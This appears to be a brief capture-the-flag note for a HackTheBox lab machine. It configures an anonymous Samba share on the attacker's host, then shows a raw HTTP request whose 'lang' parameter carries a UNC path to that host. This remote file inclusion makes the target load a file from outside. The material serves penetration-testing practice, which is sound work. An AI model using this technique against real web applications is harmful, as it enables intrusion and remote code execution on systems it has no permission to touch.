$ sudo vim /etc/samba/smb.conf
### add the below to smb.conf
[share]
path = /xxx/share
read only = no
guest ok = yes
$ service smbd restart
$ service nmbd restart
### Send the connect request by Burp Repeater
GET /blog/?lang=\\10.10.16.6\share\test.txt HTTP/1.1
Host: sniper.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
###
When impacket-smbserver can’t make it, you can try Samba for a shot